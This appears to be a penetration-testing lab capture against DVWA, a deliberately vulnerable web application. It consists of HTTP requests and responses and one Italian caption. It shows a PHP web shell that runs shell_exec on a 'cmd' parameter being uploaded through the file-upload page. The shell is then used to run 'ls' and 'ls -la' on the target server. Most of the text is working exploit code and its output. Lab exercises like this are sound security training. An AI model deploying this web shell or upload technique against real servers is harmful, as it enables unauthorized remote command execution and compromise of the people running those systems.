Request

Pretty Raw Hex

```
GET /dvwa/hackable/uploads/shell.php?cmd=ls HTTP/1.1
Host: 192.168.49.101
Content-Length: 569
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.49.101
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryH5DCGmk8uMZr08GT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
 like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.49.101/dvwa/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=low; PHPSESSID=349590444c7d59e04143311ff147a74b
Connection: close

------WebKitFormBoundaryH5DCGmk8uMZr08GT
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryH5DCGmk8uMZr08GT
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php

<?php
if (isset($_GET['cmd']))
{
        $cmd = $_GET['cmd'];
        echo '<pre>';
        $result = shell_exec($cmd);
        echo $result;
        echo '</pre>';
}
?>

------WebKitFormBoundaryH5DCGmk8uMZr08GT
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryH5DCGmk8uMZr08GT--
```

Response

Pretty Raw Hex Render

```
HTTP/1.1 200 OK
Date: Mon, 27 Feb 2023 15:03:50 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html
Content-Length: 36

<pre>
  dvwa_email.png
  shell.php
</pre>
```

Utililizzo dei comandi ls e ls-la per scoprire il contenuto del path in cui siamo

Request

Pretty Raw Hex

```
GET /dvwa/hackable/uploads/shell.php?cmd=ls%20-la HTTP/1.1
Host: 192.168.49.101
Content-Length: 569
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.49.101
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryH5DCGmk8uMZr08GT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
 like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.49.101/dvwa/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=low; PHPSESSID=349590444c7d59e04143311ff147a74b
Connection: close
```

Response

Pretty Raw Hex Render

```
HTTP/1.1 200 OK
Date: Mon, 27 Feb 2023 15:25:26 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Connection: close
Content-Type: text/html
Content-Length: 246

<pre>
  total 16
  drwxr-xr-x 2 www-data www-data 4096 Feb 27 09:49 .
  drwxr-xr-x 4 www-data www-data 4096 May 20  2012 ..
  -rw-r--r-- 1 www-data www-data  667 Mar 16  2010 dvwa_email.png
  -rw------- 1 www-data www-data  170 Feb 27 09:49 shell.php
</pre>
```